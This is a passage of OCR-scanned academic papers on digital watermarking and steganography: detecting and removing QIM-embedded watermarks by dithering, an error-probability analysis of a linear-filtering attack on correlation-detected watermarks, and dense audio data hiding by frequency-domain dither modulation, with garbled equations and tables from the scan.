of the first layer coefficients no longer show a discrete nature.

In this case, a different property of the block DCT coefficients is utilized. Let C
represent the first-layer block-DCT coefficients of a host image, and C’ the modified
version obtained after a series of operations including scrambling, second-layer trans-
formation (e.g., DFT), QIM embedding, IDFT, and then de-scrambling. The differ-
ence between C’ and C can be calculated:

D=C-C. @)

Taking into account the statistical independence between the image and the em-
bedding-induced error, energy contained in the transform coefficients satisfies the
following relation:

, A
E(c’]?)=E[|c+D]=E(CP +z|c|.|1)|+|1)|2):EQC|2)+E , ®)
where A’/12 is the mean energy of the quantization error that is uniformly distributed.
This indicates that watermark embedding in the second-layer coefficients will cause
an increase in the expected energy of the corresponding first-layer coefficients.
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Fig. 6. Double transform/QIM data embedding

From (9), the presence of embedded data in the second-layer transform coefficients
can be detected by analyzing the energy spectrum of the first-layer coefficients. This
is illustrated in Fig. 7, which shows the square root of energy, P, in the block-DCT
coefficients of image Lena before and after data embedding in the 30th transform-
domain position. The abscissa represents zigzag-sorted frequency index N of the 8x8
block-DCT. The peak at N=30 in Fig. 7(b) is a clear signature of data embedding.
Height of the peak is related to the embedding strength, i.e., the quantization step A.

50 50
40 40
p 30 p 30
20 20
10 10
0 ‘ 0 ‘ :
0 20 40 60 0 20 40 60
N N

Fig. 7. Spectrum of the square root of energy in the DCT coefficients, P, with respect to zigzag-
ordered DCT index, N, for the original and watermarked images

5 Experimental Results

In the experiment, watermarking schemes based on block transform and QIM, both
single-layered and double-layered, were used to embed binary sequences into test
images Lena, Baboon and Cameraman, as well as a set of black-and-white images in a
database generated by color-to-grayscale conversion from pictures taken with a digital
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camera. Embedding positions, number of DCT coefficients involved, and watermark-
ing intensity were selectable depending on the robustness requirement and the amount
of watermark data. The embedding capacity was one bit per 8x8 block.

5.1 Detectability

For the one-layer transform-domain embedding, discreteness of the histogram is eas-
ily identifiable and cannot be missed. A total of 70 images sized 256x256 and marked
with the DCT/QIM technique were tested, and all showed clear discreteness in the
histogram of relevant DCT components. The estimated quantization steps were in
agreement with the actually used A as shown in Table 1.

Table 1. Quantization steps and the estimated results

Selected DCT | A actually used in Estimated A
index embedding Mean Standard deviation
20 20 20.06 0.15
35 30 30.09 021
31 35 35.84 0.97

For the dual-transform/QIM embedding, detection was done as follows.

Step 1: Caculate energy of every AC component for each block, V,, V,, ..., V.
Step 2: Search for the local maxima M.

Step 3: Caculate a predicted value M from V, .V, V. and V_,:

i+1 i+2°

M, = |2V,~_1 -V.,+ 2Vi+1 - Vi—2| : ®

Step 4: Caculate the parameter a,, which is proportional to the prediction error:

a:;(Ml_MI7): 4(Mi_Mi)

Ty Vo, +V_ +V. +V,,

i i+l i+2

(10)

Step 5: Compare a, with a preset threshold 7' to make a decision. The threshold
may vary from database to database. Here we have chosen T = 2.5.

A group of 91 images in was used in the experiment. The results are given in Table
2, showing that the detection performance is dependent upon both the strength and the
frequency-domain location of the embedding. The proposed method performs better
when the hidden data are embedded in coefficients with a relatively high index.

Table 2. Performance of dual-transform/QIM watermark detection.

Coefficient Actually used Number of Number of Number of false
index N A detected marks missings alarms*
29 28 80 11 1
30 35 86 5 1
40 40 89 2 1
45 35 91 0 1

* False alarm means that a coefficient is erroneously judged as marked but were actually not.
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5.2 Watermark Removal

Once the presence of hidden information was found, attempts for erasing the
embedded data were made using the dither technique described in Section 4.
Experimental results for Baboon and Lena, respectively, with hidden data emedded
using the single-layered method are shown in Figures 8 and 9. Data were embedded in
the 20th and 30th DCT coefficients with A=20 and A=25 respectively. The quantity S
on the abscissa of the plots represents the assumed quantization step used in the at-
tempts. As observed from Figures 8(a) and 9(a), the relative extraction bit error-rate,
BER, remained to be 0 when S was small, and started going up as S increased. When
S approached and then exceeded the A value actually used in the embedding (20 for
Baboon, and 25 for Lena), the relative bit error rate grew sharply to nearly 0.5 indicat-
ing that the watermarks were no longer extractable.

0.6
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52
g 04 :
o : 50
= 48
0.2
46
44
0
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S ]
(a) Relative bit error rate vs. S (b) PSNR vs. §
Fig. 8. Removal of QIM watermark in Baboon
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»
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(a) Relative bit error rate vs. S (b) PSNR vs. §

Fig. 9. Removal of QIM watermark in Lena

Influence of the dithering attack on the image quality is shown in Figures 8(b) and
9(b) in which the ordinates represent peak-signal-to-noise ratio (PSNR) of the images
with respect to the original unwatermarked cover images. The horizontal dashed lines
give the initial PSNR due to QIM embedding. It can be seen that, after the embedded
information was removed at § > A, PSNR remained at a high level. Note that PSNR
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even rose with increase of S in the case of Lena, meaning that the image was
“repaired” somewhat by dithering.

Baboon and Lena QIM-embedded in the dual-transform domain were also tested in
the experiments. Watermarks were embedded in the 50th double-layered transform
coefficients with A=60 in both images. The results are given in Figures 10 and 11.
Similar to the previous experiments, the embedded data became undetectable as S
approached and exceeded A. PSNR showed an increase when S was not too large, and
then went down. In both images, PSNR remained at a high level within the entire
range of the tested S values.
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Fig. 10. Removal of dual-transform/QIM watermark in Baboon
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Fig. 11. Removal of dual-transform/QIM watermark in Lena

6 Conclusions

It has been demonstrated that the presence of QIM-embedded information can be
detected based on analyses of coefficient histograms. The QIM embedding is also
vulnerable to active-warden attacks as extraction of the embedded data can be pre-
vented by a dithering attack on the coefficients. Therefore, unless taking special
measures (currently under investigation), QIM embedding is not recommended for
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covert communication in a hostile environment. Nonetheless the technique can be
used in watermarking applications for copyright protection with a high payload and
sufficient robustness.

It should be noted that the dithering attack described in this paper differs in an im-
portant aspect from the generally referred attacks on watermarks such as JPEG com-
pression and conventional signal processing. QIM-embedded watermarks are highly
robust against these attacks. For instance, watermarks in an image can still be ex-
tracted without error when PSNR becomes as low as 20dB after JPEG coding or 28dB
with interference of additive Gaussian noise [5]. By using the dither attack, in con-
trast, the hidden data are completely erased with negligible, or even without, addi-
tional degradation to the image.
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Abstract. We consider a private zero-bit watermark (WM) system in
which an unauthorized removal of the WM is restricted by a linear filter-
ing of the watermarked message combined with additive noise attack. It
is assumed that a WM detector knows both the original cover message
(CM) and the pulse (or frequency) response of the attack filter. The for-
mulas to calculate the WM-missing and WM-false alarm probabilities are
developed and proved. We conclude that whenever some filtering of the
watermarked message is yet acceptable with respect to CM quality then
there results in a degradation of the WM system even if the designer of
the WM uses an optimal signal. This fact is different than most that can
be found at current WM literature. The main properties of a WM sys-
tem under a filtering and additive noise attack condition are confirmed
by simulations of the watermarked images.

Keywords. Watermark, Linear Filtering, Correlation Detector, Error
Probability, White and Colored Additive Noise.

1 Introduction

It is rather well known that any WM system is the practice of imperceptible
modification of the given CM to embed an additional message. WM can be used
in a wide variety of applications [1] but in the current paper we will keep in mind
predominantly the copyright ownership, where WM should be protected against
unauthorized removal only. In other words: no unauthorized user is able to re-
move the WM message without noticeable distortions of the CM. The quality of
CM refers to the perceptual similarity between the original and the watermarked
versions of the CM. A great problem is posed on the selection of a WM quality
criterion that can predict the test results with human observers or listeners. As
it is well known, Watson’s DCT-based visual model [I] can be applied to a vi-
sual CM, but it is indeed quite complex to be used in theoretical investigations.

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 371-B82, 2003.
© Springer-Verlag Berlin Heidelberg 2003
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Therefore we will base our theory on the simpler mean square error (MSE) cri-
terion but we will use the human visual testing on our simulation investigations.

We will consider only a zero-bit private WM system with informed detector.
In such a system, no WM message provides any further information than its
own presence or absence, the WM signal is kept secret and known only by the
authorized detector and the CM is known by the authorized detector (both WM
and CM can be regarded as a secret key of legal users).

The goal of any dishonest user (attacker) is either to remove the WM signal
or to disable it without noticeable distortion of the CM. In order to reach this
goal, an attacker can process the watermarked message performing different
actions: noise addition, filtering, recompression, geometric transformations (e.g.
rotation, translation, cropping or scaling), and so on. In the current paper we
consider only a linear filtering combined with an addition of random noise. This
model provides an extension of our results developed in [2] for the case of an
additive attack noise, without any filtering. It is worth to point-out that the
linear filtering attack already reported in the literature is very poor.

Some experimental results concerning a linear filtering attack are shown in [1].
Nevertheless they are incomplete and some of the authors conclusions contradict
our results, proven in our analysis and confirmed experimentally.

The performance of any WM system can be estimated using two probabilities:

P,,. The probability of WM-missing: the WM detector fails to detect the WM
in spite of its presence.

Pj,. The probability of WM-false alarm: the WM detector falsely claims the
WM presence.

The number of WM elements, N, embedded in the CM, which determines the
desired probabilities P, and Py, is also very important (if the CM is an image
then N is upper bounded by the number of image pixels).

There are several different methods to embed a WM into the CM, but we will
consider only the so-called communication-based model with additive embedding,
in which the watermarked message, namely the stegomessage (SM), is:

S(n) = C(n) +W(n), n=0,...,N—1 (1)

where SM is S=(S(n))) ', CM is C=(C(n)) _} and WM is W = (W (n)) ),
the index n corresponds to discrete time instances and N is the WM length.

Our analysis can be applied to any kind of CM. However, without loss of
generality, we will keep in mind images as CM. Each entry C(n) corresponds to
the luminance of the n-th pixel in the image and n is the vector coordinates in
the 2D-message.

The paper is organized as follows: In Section 2 we prove the formulas of the
probabilities P, and Pj,, in their general forms and in some particular cases
of different WM and additive noise sequences. Section 3 contains the results of
simulations for different watermarking of images and different attacks against
WM systems. In Section 4 we summarize the main results and we formulate
some open problems.
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2 Calculation of the Probabilities P,, and P;,

General model: The linear filter and additive noise attack on the stegomessage
S = (S(n))ivgol can be determined by the relation:

S'(n) = (S%h)(n) +e(n), n=0,...,N—1 (2)
where S’ = (kS”'(TL))TZL_U1 is the attacked SM, h = (h(n))nN:_O1 is the pulse response
of the attack filter, x is the convolution operator: (Sxh)(n)= Z S(n1)h(ng);

ni+ng=n
and € = (s(n))g:_ol is the attack noise sequence. The distortion constraints based
on the MSE-criterion just after WM and after the attack are, respectively

Var (C)
Var (W)

Var (C) Var (C)
Var (8’ —C) Var(Cx(h—48)+Wxh+e)

> N (3)

> 1a (4)

where Var is the variance, § = (J(n))nNgol, 0(0) =1 and §(n) =0 foralln > 1,
Nw 18 the signal-to-noise ratio after WM, and n, is the signal-to-noise ratio after
the attack to the watermarked message.

For simplicity and without loss of generality we may assume that strict in-
equalities hold in both eq. (3) and (H). The main notion in our model, which is in
line with the model in [I], is the assumption that C, W and e are discrete-time

mutually independent stochastic processes. Then (@) can be rewritten as

Var (C)

Var (C * (h - 5)) + Var (W * h) + Var (E) = Tla (5)

We will use a correlation detector since it is enough robust against changes of
probability distributions of C, W and e and because it is more suitable to
perform the theoretical analysis.

Assuming that the WM detector knows C, W and h the following WM-
detection rules are established:

— If A > X then WM is detected in the presented S’, and
— if A < X\ then WM is not detected in S’, where

N-1

A= (8" (n) = (Cxh)(n)(W % h)(n). (6)

n=0

It is easy to see from eqgs. (), @) and (@) that whenever the WM is indeed
embedded into CM, the value of A coincides with
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N-1

A=Y (W h)(n) +e(n)) (W *h)(n). (7)

n=0
and if the WM is not embedded into CM, the value of A coincides with

N-1

Ao =Y e(m)(W % h)(n). (®)

n=0

The main characteristic of our approach is the assumption that the WM-sequence
W is chosen randomly. Hence, the Central Limit Theorem can be applied in order
to obtain good approximations to both Ay and A; as Gaussian variables. Thus,
the following relations are obtained for probabilities P, and Pj,:

o, A— E(4Ay)
Fn =1 Q( Var(A1)> ©)

o[ A= E(A)
Fra =@ < Var (/10)> (10)

where FE is the mathematical expectation of the corresponding random variable
+2

and for all real x, Q(z) = \/% f;oo e~ 7 dt. Thus, in order to complete this set

of formulas let us calculate E(Ay), E(A1), Var (Ay) and Var (4;).

For simplicity and without any loss of generality, let us assume E(e(n)) =0,
foralln=0,...,N — 1. Then,
E(Ay) =0 (11)

and, from the definition given by eq. (@)

N-—1
B(Ay) =E< (W % h)(n) )

n=0
N-1 N-1N-1
= E < W ( 1)W(n2)h(n—n1)h(n—n2)>
n=0 n1=0ns=0
N-1N-1 N—1
= Z pw(ny,ne)h(n —ny)h(n — ng) (12)

where @, (n1,n2) = E (W (n1)W(ng)) is the autocorrelation function of the WM
sequence W. We assume that W is a wide-sense discrete time zero mean stochas-
tic process. Thus, we may write the autocorrelation function as ¢, (n1,n2) =
©w(n1 — ng). From eq. (IZ) we may express:

Z 1) 2 (k (13)
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where h is the frequency response of attack filter: h(k) = Zg:_ol h(n)e=2mkxi
0<k<N-—1,and ¢, is the power density spectrum of the process W,

= pu(n)e?kF, k=0,...,N—1. (14)

In order to calculate the formulas for Var (Ag) and Var (A;) we should consider
particular cases of the stochastic processes W and €.

2.1 The WM Is a Binary “White Noise” Sequence
and Additive Attack Noise Is a “White Noise” Sequence

In this case,
W(n) = ar(n), n=0,...,N—1, (15)

where a > 0 is some real valued number, 7 is a +1 valued i. i. d. sequence and

besides € is a zero mean i. i. d. sequence with variance o2.

Under these conditions, eqs. (&), (I2)) and (I3) give

N-1
Var (Ag) = Var (Z e(n)(W x h)(n ) ZVar n)(W * h)(n))
-1 " N-1
=" Var (e(n)) E (W xh)*(n)) =02 Y |h(k)Ppu(k)  (16)
n=0 k=0

For the white noise binary sequence W given by eq. ([[5]) we have
bu(k) = a?, k=0,...,N—1. (17)

Substitution of eq. () into eq. (I3) and () produces

N—-1 ~
BE(A)= o) |hk)
k=0
N—-1 N
Var (4o) = 0202 S [R(k)[%. (18)
k=0

Since € and W are mutually independent:

N-1
Var (A1) = Var (Ag) + Var (Z(W*hﬁ(n)) (19)

n=0

where Var (4p) is given by eq. (I8). It is easy to see from eq. (I9)) that for
any “short” pulse response of the attack filter, the second term in the right side
of (T9) is close to zero. However, in a general case, this term can be much greater
than zero. Since it is very hard to prove its representation in a closed form, we
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will calculate it further by simulation. Combining eqs. (), (03), (I8) and ([I9)
for “short” pulse response, we obtain from (@) and (I0):

Pn=1-Q\ —p) (20)
Pt = Q(XN) (21)
where
Vo A A
\/Var (A o

E(Al) «

m= v/ Var (Ap) 075

Using Fourier transforms and considering C as a wide-sense stochastic process,
we can express (0) as follows:

N— 1 N-1 o2
Z | ¢co N |h(k)‘2 + 7; (23)
77a -0 NwN =0 el
where
beo(k) = ch e R, k=0,...,N—1,
n=0

¢ is the autocorrelation function of C, 02 = Var (C), and

Using (23) we may express the reciprocal of factor in last member of (22) as

N—-1

O¢ Thw 1 7 Tho
— =, — = = h k‘ 2 _ ¢5w 24
e X }) b 4

2

From now on we can compute the probabilities P, and Py, using (20)-(22)
and (24)) for any frequency response of the attack filter h, power density spectrum
¢c of CM, number N of WM elements and distortion constraints 7, and 7,.
Since it is not easy to know the power density spectrum (¢co(k))k:_01 of CM,
we may assume that the attack filter has to be chosen in such a way to provide
no noticeable distortions of CM. Then we can make zero the last term in the

right of ([Z4) to get

o 1 N-1 ,
%R S Y R, (25)
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Let us consider the particular case of low pass filter attack when its frequency
response is
0if Er <k<N- £

1 otherwise (26)

h(k) = {

for some integer Kj, with 0 < K, < N — 1.
By substitution of (26)) into (22) and (25) we get

[ Kk K- N
SR R (@)

with K,, = & and n = 2w 1f there is no filtering attack (Kj, = N), from (7,

N
=4— 28
Ho n—1 (28)

which coincides, indeed, with the result presented in [2]. We can see, from (27))
and (28), that filtering attack results in a degradation of the WM system. It

requires at least 1/Kj, times more WM elements N in order to achieve the
values of P,, and P, obtained in a WM system without filtering attack.

2.2 The WM Is a “Colored Noise” Sequence
and Additive Attack Noise Is a “White Noise” Sequence

Under the current conditions, the stochastic process W has an arbitrary (al-
though not uniform as in the case of a “white noise” sequence) power density
spectrum ¢,,. The relations (@), ([0), (Il) and (@3) still hold. Nevertheless, the
variances of Ag and A; does not coincide in general. However we may claim only
that Var (A;) > Var (4p). The relations (20) and (2I) determine lower bounds
for probabilities P, and Pj,.

Let us consider the particular case in which

2 .
22 otherwise

0 ifEe<k<N-Ee
¢w(k)={ USRSk 2
Koy

with K,, < N — 1. Here, the WM can be obtained by passing the “white noise”
sequence given by ([5) through a low-frequency filter with frequency response

N otherwise

‘~ ’2_{0 if v <k <N - Eu
Ko

2
(this condition produces the same signal-to-noise ratio 7,, = 2—2 for any K,,).
In the case of a linear filtering attack with frequency response h satisfy-

ing ([20) we obtain from (), (I3) and (I6):
E(Ay) =0
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PNE if Ky < K
B(Ay) =4 &y Fu DS
a?N otherwise

020’ N if K < K.
Var (Ag) =1 5 Kuw o
ar (o) {O’?CXQN otherwise

Now, we can use the formulas 20) and I]) to calculate P, and Py, by taking

_E(A) {;,/legg if K, < Ko (29)

M == prg
v/ Var (Ag) > VN otherwise

In the current case, using the Fourier transform, eq. () gives:

-1

1 = K 02
Kp < Ky = 10 = l > beolk) + —— + £ (30)
N Rt NwKw &
1 Nl 1 02]
> = | — _ _€
Kh = Kw = Na [N Z ¢co(k) + o + O’% (31)
k=K;+1

We see from (29)), (30) and (1)) that the case K;, > K, is useless to the attacker
since it results in a decreasing of both P, and Py, when compared with the case
of no filtering attack (K} = N). Considering just the case K, < K, from (B0):

Nl=

e K n =
h w
e il LA L) k 32
o. |:'7 Ku; N Z ¢C0( )] ( )
k=Kp+1

If the attack filter parameter is chosen in such a way to provide no noticeable
distortion of CM we can neglect the last summand in the denominator of (B2)).
Substituting the corresponding value into [29) we get for Kj, < K,,:

(33)

The designer of the WM system is able to select the parameter K, such that
any use of the attack filter given by (20)), for a parameter K, < K, would result
in an intolerable distortion of CM. If we let K}, = K, then from (B3):

p=y— (34)

The value of u in (34) coincides with pg as given by (28) which corresponds to
the case of no filtering attack. We conclude that the use of a “colored noise”
WM sequence discourages filtering attack. This is consistent with the simulation
results shown in [I]. Unfortunately it does not mean that any combination of
filtering and additive noise attack can be cancelled by an appropriated choice of
the colored noise WM sequence. We consider this problem in the next subsection.
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2.3 Both WM and Additive Attack Noise
Are “Colored Noise” Sequences

In this case, the sequence € is no longer i. i. d. but it can be of zero mean, with
autocorrelation function

pe(n1 —ng) = E(e(n1)e(n2)).
We get from (B) and ():

N—

E(AO):O ) | ¢wo )

k=0

,_.

The relation (I6]) does not hold in this case and it has to be changed as follows:

N—
Var (Ag) = Z E)[2pu(k Z Z Apin, Wwhere
=0 n1=0nqs#ny
N—-1
Apyny = @y —n2) Y @w(ng —na)h(ny — ng)h(ng — na)

n3,n4:O

Tt is easy to see that if there is no a filtering attack, e. g. h(n) =0 if n # 0, and
WM is a white noise sequence, e. g. ¢, (n3 —ng) = 0 if ng # ny, then necessarily
Apin, = 0for ny # no. But in a general case, we have A,,,,, > 0 and this entails
a degradation of the WM system.

2.4 Calculation of the Probabilities P,, and Py,
for the Case of Tile-Based WM

Let us select a spreading form of the WM sequence in which it takes constant
values on blocks of m consecutive elements

n

W(n) = a(~1) [#], n=0,...,N -1
where o > 0, a = (an, ),,,~o is a {0,1} i. i. d. sequence, x ~ [z] is the integer
part map and m > 1 is an integer. If an attacker uses a low-pass filter with
frequency response close to (26), then for any parameter K} of that filter, it
is possible to select an appropriated parameter m such that the WM sequence
after the attack by that filter practically is not corrupted. In this setting it is
very reasonable to select an attack additive noise € with a similar “variability”:

5(71):5'([2]), n=0,...,N—1

m

where €’ is a zero mean i. i. d. sequence with variance o2.

Since this model corresponds to the case of no filtering attack we can directly
exploit the results of [2] by using the correlation WM-detector that proceeds by
comparing with a given threshold A the value
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A= Z_j (S'(n) — C(n))W (n).

n=0
The probabilities P, and Py, can be calculated by (20) and (2I)). However,

N

m(n—1) (35)

‘LL:

(It is easy to see that in a general case, when an attacker selects e(n) = ¢’ ([2])
and m’ < m then the corresponding value of pu, according to (B3) is increased. If
an attacker selects m’ > m the same value of p as it appears in (3) is obtained).

Comparing p given by ([B8) and po by (28), corresponding to the case of no
filtering attack, we can conclude that the tile-based WM system produces a m

times degradation of the WM system with respect to no filtering attack.

3 Simulation Results

Firstly we have used a 1-D simulation in order to check that, indeed, Var Ag =
Var A; for any “short” pulse response. We have found that the approximating

relation stated above holds and hence the theoretical formulas (20) and (21]) are

correct unless % > % Thereafter we examined the effect of filtering attack on

a watermarked 2-D images. Two images, fishboat and lena, have been used to
embed WM in an additive manner according to eq. (). The attack model was
taken as in (2):

1 _ni+nj

h(n) = 56_ 252 (36)

2,2
n?4+n2

where U = ) €™ "257 . Four different cases have been considered:

O. No filtering attack when both W and e are white noise sequences.

A. Filtering attack when W is a white noise sequence given by ([3) and e is
also a white noise sequence.

B. Filtering attack when W is a colored noise sequence obtained after a passing
of white noise WM sequence through the filter with pulse response (Bf) and
€ is still a white noise sequence.

C. Filtering attack when both W and e are colored noise sequences obtained
after a passing of the white noise WM and additive white noise attack se-
quences through the filter with pulse response (36l).

The correlation detector () has been used to decide whether a WM is present
or not. The results in the calculations of minimum values of WM lengths N to
guarantee P, = Py, = 103 are presented in Table [T}

Here we can see, in Case A, that the use of filtering attack results in a
significant degradation of the WM system, especially for large &, because the
number of WM elements required to provide P, = P, = 1072 increases from
the order of tens to the order of hundreds. Simultaneously we can see in Figure [II
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Table 1. Minimum values of WM lengths N to guarantee Pm = Pj, = 1073 and
parameters «, J% providing corresponding values for several filter attack parameter §

Image fishingboat Case O
aoc. n N
5 5 2.000 : 38
Case A Case B Case C
6 aoc. n :NJ||d aoc n :N||§ aoc n : N
0.755 6 1.787 : 101}|0.75 8 6 1.796 : 68(|0.75 8 11 2.066 : 124

1.00 5 7 2.124 : 220

1.0012 7 2.159 :

87

1.00 12 17 2.087 : 169

1.25 5 7 2.062 : 320{[1.25 16 7 1.927 : 82(|1.25 16 22 1.942 : 175
Image lena Case O
aoc. n N
7 6 1.735:29
Case A Case B Case C
6 aoe m : N 6 aoce n :N||d aoe n : N
0.757 8 1.653: 89((0.7512 9 1.796 : 70| [0.75 12 15 1.738 : 102
1.00 7 9 1.817 :190({1.00 17 9 1.792 : 77||1.00 17 22 1.755 : 143
1.25 7 9 1.755 : 281([1.2522 9 1.691 : 73| |1.25 22 29 1.789 : 156

(a) Cover image fishingboat be-
fore watermarking attack.

(b) Cover image fishingboat after
watermarking and filtering at-
tack with § = 0.75 and n = 1.79.

Fig. 1. Cover image and its watermarked and attacked image

(a)-(b) that the visual effect of filtering, even for filter parameter § = 1 is still
acceptable.

If WM is a colored noise sequence (as in Case B) we can observe an improve-
ment of the WM system (the required N decreases in comparison with Case A).
The Case C, when both W and e are colored noise sequences, is observed to be
inferior than Case B.
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4 Conclusion

We have proved formulas for probabilities P,, and P, when an additive embed-
ding of WM, a linear filtering, an additive white noise attack and a correlation
detector are used. From these, there follows that whenever an attacker provides
some filtering of watermarked message without noticeable distortion of the CM
then either a degradation of the WM system appears if the WM sequence is white
noise, or no degradation appears if the WM sequence is selected as colored noise.
Thus, later approach in preferred when designing a WM system.

Our theoretical results are confirmed by a simulation of watermarked and
the resulting attacked images. They show a significant degradation of the WM
system after the filtering attack without significant distortion of CM. As for
the case of a colored noise WM sequence, the simulation results show some
improvement in comparison with white noise WM, but there is still a significant
degradation of the WM system in this case. This can be explained by another
type of frequency response that has been considered in theory. We have proved
that a more effective attack on the WM system is a combination of linear filtering
and additive colored noise attack. It remains as an open problem to prove the
formulas for P,, and Py, in this case.

In order to simplify the situation we have presented a tile-based WM that
can be a real candidate for practical application of the WM system under the
condition of linear filtering attack. The statement concerning this model can be
extended to a general situation. Roughly speaking, one can claim that if CM can
be passed through low-pass filter with frequency response close to (26) without
noticeable distortions then there results a degradation of the best WM system
by a factor of N/Kj, times. This statement is consistent with the well known fact
from communication theory [3] regarding spread spectrum systems. In this case,
the material presented in [I] is incomplete because the authors do not consider
the statistical properties of additive attack noise at all.

Besides the open problem mentioned above, there appear several open prob-
lems concerning the linear filtering attack. Among them there are the following;:
the proof of the optimal receiver for the model of filtering and colored additive
noise attack, the extension of the theory to the case in which it is unknown for
the WM detector the frequency response of the attack filter, the extension of the
theory to the case of a blind WM detector, and the correction of theoretical re-
sults taking into account the property of the MSE criterion that underestimates
perceptual quality of the images. We will consider them in the near future.
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Abstract. A technique that inserts data densely into short frames in a digital
audio signal by frequency domain dithering is described. With the proposed
method, large embedding capacity can be realized, and the presence of the hid-
den data is imperceptible. Synchronization in detection is achieved by using a
two-step search process that accurately locates a PN sequence-based pilot signal
attached to the data during embedding. Except for a few system parameters, no
information about the host signal or the embedded data is needed at the re-
ceiver. Experimental results show that the method is robust against attacks in-
cluding AWGN interference and MP3 coding.

1 Introduction

As a result of the rapid development of digital technology and computer networks,
digital multimedia materials are widely used and disseminated. Since digital informa-
tion is easy to copy, protection of intellectual property rights has become a serious
concern. As a means of IPR protection, watermarking [1-2] has attracted much atten-
tion. In addition, information-hiding techniques have also found applications in covert
communication, or steganography [3]. The aim is to convey information under the
cover of an apparently innocuous host material, which differs from traditional encryp-
tion as not only the contents of the transmitted data are kept unintelligible to eaves-
droppers, but also the very fact that communication is taking place is hidden. Clearly,
a sufficient data capacity is an important factor in covert communication. This is in
contrast to the IPR protection-oriented watermarking in which robustness is a primary
specification.

Watermarking in digital audio has also received considerable research interests.
Many techniques [4~6] have been proposed based on the characteristics of digital
audio signals and the human auditory system (HAS). Some time-domain methods can
hide a large amount of data but are not robust enough. Among the frequency-domain
techniques, phase coding makes use of the insensitivity of HAS to the absolute phase
in the Fourier transform coefficients. Inaudible embedding is achievable with a small
phase change representing the embedded data. In echo data hiding, the hidden data is
carried by parameters of an introduced echo (reverberation) close enough to the origi-
nal signal.

This paper describes a data hiding approach that uses an audio signal as the host.
Since HAS is very sensitive to slight distortion, tiny changes in the audio signal may
be perceptible to normal listeners. Consequently, the achieved embedding capacity in

V. Gorodetsky et al. (Eds.): MMM-ACNS 2003, LNCS 2776, pp. 383-394, 2003.
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early works was relatively low. For example, the hiding rate of phase coding is
around 8~32bps, while DSSS only allows 4bps [5]. This, of course, makes the tech-
niques impractical to be used in covert communication. The objective of this work is
to develop a method that can hide a substantial quantity of data into a host audio
without causing audible distortion. The proposed scheme makes use of the psycho-
acoustic masking both in the time domain and in the frequency domain to choose a
series of candidate frames. Data are inserted into the spectrum of selected short
frames of the host waveform using a technique of dither modulation. The approach
can also be viewed as an application of orthogonal frequency division multiplexing
with part of the subcarriers being the original audio spectral components modified by
the stego data. In order to acquire synchronization in detection, a pilot signal is ap-
pended to the stego data. Knowledge about the host signal and stego data is not re-
quired in extraction.

The rest of the paper is organized as follows. Section 2 discusses the methodology,
including data embedding, generation of the synchronization pilot, and extraction of
the embedded data. Section 3 describes the experiments and presents the results. Sec-
tion 4 concludes the paper. In the following discussion the two terms data hiding and
watermarking will be used interchangeably.

2 Methodology
2.1 Selection of Candidate Audio Frames

There are two types of approach for data insertion in terms of the distribution of the
hidden information. First, the embedded data are spread relatively evenly across a
long period of time or over the entire image space. The simplest LSB approach, for
example, replaces the least significant bits in all digital samples with an embedded
sequence. Although the data capacity is large, this method is susceptible to attacks.
Another example is the quantization index modulation in which several quantizers are
used to introduce perturbations to a large number of samples [7]. In a time-domain
technique, an audio signal is divided into segments, and all segments are watermarked
with the same chaotic sequence having the same length as the segments [6].

The second type is to modify brief signal segments in an audio waveform or small
areas in an image that are sparsely scattered over the entire signal. For example, a
patchwork technique [5] statistically modifies randomly chosen small image patches
according to the embedded data bit. In an audio watermarking system designed for
encoding television sound, data were embedded into selected segments distributed
over the signal [8].

The method proposed in this paper belongs to the latter category. Candidate frames
in the host audio signal are first selected and discrete Fourier transformed. Watermark
embedding is performed in the frequency domain. Studies on the HAS [1,9] indicate
that slight distortion in the neighborhood of a high volume sound is inaudible. The
masked period after a laud sound is generally longer than that prior to it. Therefore
the candidate frame is selected in a relatively quiet segment immediately after a loud
sound. The chosen segment must not be too quiet, though, in order to accommodate
sufficient strength of the embedded signal. Meanwhile, the frequency domain mask-
ing is also utilized. Spectral components adjacent to large peaks, especially on the
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high frequency side, are less perceptible. Therefore the candidate frame should be
chosen in segments that contain a significant amount of low frequency components.
Based on these considerations, a search routine can be developed, which identifies a
series of candidate frames in the host. Assume that each frame contains N samples: s
= {s(0), s(1), ..., s(N—1)}, where N is chosen according to the required data rate and
the imperceptibility requirement.

The highest frequency component in the signal is W = f/2 where f, is the sampling
frequency. Let w be the width of the frequency band occupied by watermark. B=w/W
is the normalized watermark bandwidth. Each watermark unit takes a portion in the
spectrum of a signal frame lasting 7' = N/f, seconds. When f, = 44.1 kHz and N = 1024,
for example, T is 23.2ms.

In the present study, a band [f,, f,+w] where f,=w=W/4 is used. Before embedding, a
test is performed to make sure that most of the spectral components in the band are
below an auditory masking threshold [10,11]. If this is not satisfied, the frame is
skipped, and the next frame that meets the condition is chosen.

2.2 Data Embedding

The proposed method uses dither modulation in the frequency domain. It may be
viewed as an application of the multi-carrier modulation technique OFDM. An
OFDM signal is composed of many equally spaced subcarriers within the occupied
band, which are modulated using various modulation schemes. Suppose there are N

symbols, X(n), n =0, 1, ... , N—1, modulating N subcarriers respectively. The spacing
between subcarriers, TAf, is chosen such that the subcarriers are mutually orthogonal
within one symbol period, 7. The requirement of orthogonality is satisfied if Af = 1/T.
Thus, subcarrier frequencies are f, = n/T, n =0, 1, ... , N—1, and the OFDM signal in a
symbol period is expressed as

X(f)ZEX(n) exp|:j27z¥t] 0<t<T. (1)

n=0

Sampling this waveform at intervals At = T/N (sampling frequency f, = 1/A¢) yields

x(k)=1§X(n) exp|:j27z%:| k=0,1,...,N—-1. )

n=0

So, x(k) and X(n) from a DFT pair. This means that the baseband OFDM waveform
can be obtained from IDFT of the N modulating symbols. To obtain a real waveform
in the time domain, the complex symbol series XO{X(1), X(2), ... , X(N-1)} is ex-
tended to the negative frequencies to give a new series, Y(n), of length N,[12N that is
conjugate-symmetrical:

{X(n) 0<n<N-1
Y(n) =

) . 3
X'(N,-n-1) N<n<N,-1 )
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IDFT of the vector Y is now a real vector of length N,. To avoid redundant computa-
tion, two real vectors of length N, may be used as real and imaginary parts respec-
tively to form a complex vector of the same length. Nonetheless, the negative fre-
quency components are omitted for simplicity in the following discussion.

Among the N spectral lines (subcarriers) of the candidate frame, only N/4 are
modified, using a combination of QAM and dither modulation as illustrated in Fig.1,
by the embedded data while the other components are unchanged. The original n-th
spectral component C, is first quantized to Q[C,] in the complex plane. The intro-
duced distortion is determined by the quantization step A. The n-th watermark vector
W is then added to Q[C, ] to produce a dithered spectral component C’ :

c,=0lc,l+w, @)
